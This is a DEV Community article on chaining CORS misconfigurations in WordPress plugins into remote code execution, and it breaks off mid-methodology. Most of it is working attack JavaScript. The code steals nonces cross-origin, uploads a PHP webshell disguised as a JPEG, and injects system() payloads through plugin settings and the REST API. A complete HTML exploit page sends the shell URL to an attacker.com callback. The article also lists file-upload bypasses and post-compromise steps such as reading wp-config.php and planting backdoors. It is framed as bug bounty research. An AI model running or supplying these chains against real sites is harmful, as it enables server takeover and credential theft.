DEV Community

From CORS to RCE: WordPress Bug Bounty Chains

Understanding CORS in WordPress

WordPress's wp-admin/admin-ajax.php is the central AJAX dispatch endpoint. Every plugin and theme registers actions that are callable via HTTP requests to this file. The endpoint runs the full WordPress bootstrap, including user authentication and nonce verification - but the CORS policy is controlled by the server, not the application.

A typical AJAX request to a WordPress plugin looks like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_...=admin

action=myplugin_do_thing&_wpnonce=abc123&param=value

The response typically includes:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://target.com
Access-Control-Allow-Credentials: true

The vulnerability arises when the server reflects the Origin header into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true. This combination allows any website on the internet to make authenticated cross-origin requests - the victim's browser cookies are included, and the attacker's JavaScript can read the response.

The WordPress CORS Default

WordPress core itself does not set CORS headers on admin-ajax.php by default. The vulnerability enters through one of three paths:

  • Plugin-level CORS headers. Many plugins add their own CORS middleware - typically REST API plugins, gallery plugins with image upload endpoints, or plugins that expose public-facing AJAX actions.
  • Theme-level CORS headers. Some themes add header("Access-Control-Allow-Origin: *") in functions.php without understanding the security implications when combined with Allow-Credentials: true.
  • Server-level CORS headers. A misconfigured .htaccess or nginx config that reflects the Origin header.

The most dangerous pattern - and unfortunately the most common - is:

// Plugin code that "supports CORS"
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');

This reflects any origin. Combined with Allow-Credentials: true, it means any website can make authenticated requests. This is not a bug in the CORS spec - it's a deliberate, if naive, configuration choice by the plugin developer.

Chain 1: CORS โ†’ CSRF โ†’ Arbitrary File Upload โ†’ RCE

Target Profile

A WordPress plugin that provides a frontend file upload feature (image galleries, document managers, form builders). The plugin registers an AJAX action for file upload that:

  • Checks the WordPress nonce - but the nonce is fetchable cross-origin (see below).
  • Validates the file type - but the validation is client-side or uses a weak allowlist.
  • Stores the file in a web-accessible directory (wp-content/uploads/).

Step 1: The CORS Misconfiguration

The plugin adds CORS headers to enable cross-origin uploads from a frontend React/Vue widget:

add_action('init', function () {
    if (isset($_SERVER['HTTP_ORIGIN'])) {
        header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
        header('Access-Control-Allow-Credentials: true');
        header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
        header('Vary: Origin');
    }
});

This code runs on every request, including admin-ajax.php. The Vary: Origin header is correct from a caching perspective but doesn't mitigate the vulnerability - it just ensures the reflected origin is cached per-origin.

Step 2: The CSRF Bypass

WordPress nonces are time-limited tokens (valid for 24 hours) that protect against CSRF. But they're not CSRF tokens in the traditional sense - they're session-based and predictable. A nonce for action myplugin_upload is the same for all logged-in admin users within the same 12-hour tick.

With the CORS vulnerability, an attacker can fetch the nonce cross-origin:

// Attacker's page (evil.com)
async function stealNonce() {
    // Fetch any page that contains the nonce (e.g., the plugin's settings page)
    const response = await fetch('https://target.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include', // send the victim's cookies
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: 'action=myplugin_get_nonce'
    });
    const text = await response.text();
    // The CORS misconfiguration allows us to read the response
    const nonceMatch = text.match(/"nonce":"([a-f0-9]+)"/);
    return nonceMatch ? nonceMatch[1] : null;
}

Even if the plugin doesn't have a dedicated "get nonce" AJAX action, many plugins embed nonces in the HTML of their settings pages or frontend shortcodes. The CORS misconfiguration lets the attacker read the full page content cross-origin and extract the nonce.

Step 3: The Arbitrary File Upload

With the nonce in hand, the attacker uploads a PHP webshell:

async function uploadShell(nonce) {
    // Craft a PHP payload disguised as an image
    const phpPayload = `<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>`;
    // Build a polyglot file: valid JPEG header + PHP payload in EXIF/comment
    const jpegHeader = new Uint8Array([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01]);
    // Create the polyglot: JPEG magic bytes + PHP payload
    const blob = new Blob([jpegHeader, phpPayload], {type: 'image/jpeg'});
    const formData = new FormData();
    formData.append('action', 'myplugin_upload');
    formData.append('_wpnonce', nonce);
    formData.append('file', blob, 'image.php');
    const response = await fetch('https://target.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include',
        body: formData
    });
    const result = await response.json();
    // The plugin stores files in wp-content/uploads/year/month/
    // The response reveals the file URL
    return result.data.url;
}

The plugin's file type validation typically checks wp_check_filetype() which inspects the file extension and the MIME type from the JPEG header. If the plugin allows .php (unlikely) or if the validation can be bypassed (likely - see below), the file lands in wp-content/uploads/2025/01/image.php.

Common file upload bypasses in WordPress plugins:

  • Double extension: image.php.jpg - some servers execute the first recognized extension.
  • Null byte: image.php%00.jpg - works on older PHP versions.
  • .htaccess override: Upload a .htaccess file that makes .jpg files execute as PHP, then upload shell.jpg.
  • Content-Type spoofing: The plugin checks $_FILES['file']['type'] (client-controlled) instead of finfo_file() (server-side).
  • Magic bytes + extension: The JPEG header passes getimagesize(), but the server executes PHP in the EXIF comment. This is the classic "image polyglot" attack.

Step 4: Remote Code Execution

Once the PHP file is at a known URL:

https://target.com/wp-content/uploads/2025/01/image.php?cmd=id

The attacker has full RCE as the web server user (www-data typically). From here:

  • Read wp-config.php for database credentials.
  • Modify the database to create a new admin account.
  • Install a persistent backdoor (mu-plugin or theme edit).
  • Pivot to other services on the internal network.

Full Exploit Chain (Attacker's Page)

<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = 'https://target.com';
const AJAX = TARGET + '/wp-admin/admin-ajax.php';

async function exploit() {
    // 1. Steal the nonce via CORS
    const nonce = await stealNonce();
    if (!nonce) {
        console.log('Failed to steal nonce');
        return;
    }
    // 2. Upload the webshell
    const shellUrl = await uploadShell(nonce);
    if (!shellUrl) {
        console.log('Upload failed');
        return;
    }
    // 3. Execute a command
    const cmdUrl = shellUrl.replace(/\.php$/, '.php') + '?cmd=id';
    // We can't read the output cross-origin (different path),
    // but the shell is now persistent
    console.log('Shell uploaded at:', shellUrl);
    // 4. Exfiltrate via a DNS tunnel or webhook
    fetch('https://attacker.com/callback?shell=' + encodeURIComponent(shellUrl));
}
exploit();
</script>
</body>
</html>

Chain 2: CORS โ†’ Settings Poisoning โ†’ RCE

Target Profile

A plugin with a settings page that allows the administrator to configure custom CSS/JS that gets inserted into the site's pages. Some such plugins store the custom code in .php files (for performance - "no database query needed") and include() them.

The Vulnerability

The settings update AJAX action checks the nonce and the user capability (manage_options - admin only). But with the CORS misconfiguration, an attacker can make the request as the authenticated admin:

async function poisonSettings(nonce) {
    // Inject PHP code into the "custom CSS" field
    const payload = `*/ ?> <?php system($_GET['cmd']); ?> <?php /*`;
    const response = await fetch(AJAX, {
        method: 'POST',
        credentials: 'include',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: new URLSearchParams({
            action: 'myplugin_save_settings',
            _wpnonce: nonce,
            custom_css: payload,
            save: 'true'
        })
    });
    return response.json();
}

The plugin saves the "CSS" to wp-content/uploads/myplugin/custom.css.php and include()s it on every page load. The PHP code inside the "CSS" executes.

Why Nonce Verification Doesn't Help

WordPress nonces are session-bound but not request-bound. A nonce for myplugin_save_settings is valid for 24 hours and can be used unlimited times. The CORS vulnerability lets the attacker:

  • Fetch the settings page HTML to extract the nonce (embedded in a data-nonce attribute or a wp_localize_script call).
  • Submit the settings update with the stolen nonce.

Even if the nonce changes every 12 hours (WordPress's default tick), the attacker can steal it at the moment of exploitation - the victim is browsing the attacker's page right now.

Chain 3: CORS โ†’ REST API Abuse โ†’ RCE

WordPress 4.7+ ships with a built-in REST API at /wp-json/wp/v2/. Some endpoints (like reading posts) are public. Others (like updating posts) require authentication and a nonce.

The Vulnerability

The REST API nonce (wpApiSettings.nonce or the X-WP-Nonce header) is embedded in the HTML of every page that loads the WordPress frontend JavaScript. With the CORS misconfiguration:

async function getRestNonce() {
    // Fetch any page on the target site
    const response = await fetch(TARGET + '/', { credentials: 'include' });
    const html = await response.text();
    // Extract the REST nonce
    const match = html.match(/"nonce":"([a-f0-9]+)"/) || html.match(/wpApiSettings.*?nonce["\s:=]+"([a-f0-9]+)"/);
    return match ? match[1] : null;
}

With the REST nonce, the attacker can use any authenticated REST endpoint. The most dangerous for RCE are:

  • Post meta manipulation - some plugins store executable code in post meta.
  • Theme file editing - the wp/v2/themes endpoint (if exposed) can modify theme files.
  • Plugin activation - activate a vulnerable plugin that was installed but not active.
async function rceViaRest(nonce) {
    // Edit a theme file via the REST API (if the endpoint is exposed)
    const response = await fetch(TARGET + '/wp-json/wp/v2/themes/twentytwentyone', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'X-WP-Nonce': nonce,
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            // Inject PHP into the theme's functions.php equivalent
            'stylesheet': '<?php system($_GET["cmd"]); ?>'
        })
    });
    return response.json();
}

Finding CORS-to-RCE Chains: A Methodology

Phase 1: Identify the Target

Focus on WordPress sites that:

  • Run plugins with frontend AJAX features (file upload, form submission, settings panels).
  • Have a .htaccess or nginx config with CORS rules.
  • Expose the Link: <...wp-json>; rel="https://api.w.org/" header (indicates the REST API is available).
  • Use WPScan or manually check /wp-content/plugins/ for installed plugins.

Phase 2: Test for CORS Misconfiguration

Send a request with a custom Origin header:

curl -v -H "Origin: https://evil.com" \
  "https://target.com/wp-admin/admin-ajax.php?action=myplugin_action" \
  2>&1 | grep -i "access-control"

If the response includes:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

You have a CORS vulnerability. The reflection of your custom origin with Allow-Credentials: true is the bug.

Phase 3: Map the AJAX Surface

Enumerate all registered AJAX actions:

# Grep the plugin source for registered actions
grep -rn "wp_ajax_" wp-content/plugins/target-plugin/
grep -rn "wp_ajax_nopriv_" wp-content/plugins/target-plugin/

wp_ajax_ actions require authentication. wp_ajax_nopriv_ actions are available to unauthenticated users (and are often the more dangerous ones).

Phase 4: Identify Dangerous Actions

Look for actions that:

  • Call file_put_contents(), move_uploaded_file(),

Comments

No comments yet. Start the discussion.